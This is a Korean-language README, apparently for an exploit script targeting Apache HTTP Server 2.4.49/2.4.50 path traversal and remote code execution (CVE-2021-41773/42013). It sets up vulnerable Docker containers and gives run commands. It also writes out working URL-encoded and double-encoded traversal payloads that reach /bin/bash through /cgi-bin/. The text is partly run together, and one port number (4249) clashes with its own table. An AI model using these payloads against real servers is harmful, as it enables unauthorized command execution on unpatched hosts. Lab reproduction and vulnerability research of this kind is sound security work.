
Apache HTTP Server 2.4.49/2.4.50 경로 탐색 및 원격 코드 실행(CVE-2021-41773)을 위한 익스플로잇 스크립트. Docker 기반 재현 환경과 이중 URL 인코딩 우회 기술에 대한 상세 설명을 포함합니다.
Apache HTTP Server 2.4.49의 경로 정규화 변경 사항에서 결함이 발견되었습니다. 공격자는 경로 탐색 공격을 사용하여 Alias와 같은 지시문에 의해 구성된 디렉터리 외부의 파일에 URL을 매핑할 수 있습니다. 이러한 디렉터리 외부의 파일이 기본 구성 "require all denied"로 보호되지 않는 경우 요청이 성공할 수 있습니다. 또한 이러한 별칭 경로에 CGI 스크립트가 활성화되어 있으면 원격 코드 실행이 가능할 수 있습니다. 이 문제는 실제 환경에서 악용되고 있는 것으로 알려져 있습니다. 이 문제는 Apache 2.4.49에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다. Apache HTTP Server 2.4.50의 수정은 불완전했습니다. CVE-2021-42013을 참조하십시오.
pip3 install colorama로 설치)perl CGI 스크립트취약한 Apache httpd (기본 구성)를 docker/podman 컨테이너로 시작합니다.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Listen Port |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 버전 2.4.49에 대한 공격 선택
1.3 python3 main.py localhost:2450
1.4 버전 2.4.50에 대한 공격 선택
이 익스플로잇은 Apache httpd의 CGI 모듈을 활용하여 경로 탐색을 통해 임의의 실행 파일을 실행할 수 있도록 합니다.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/는 URL 인코딩되어 있으며 디코딩 시 ../와 같습니다.
.%%32%658는 이중 URL 인코딩되어 있으며 디코딩 시 ../와 같습니다.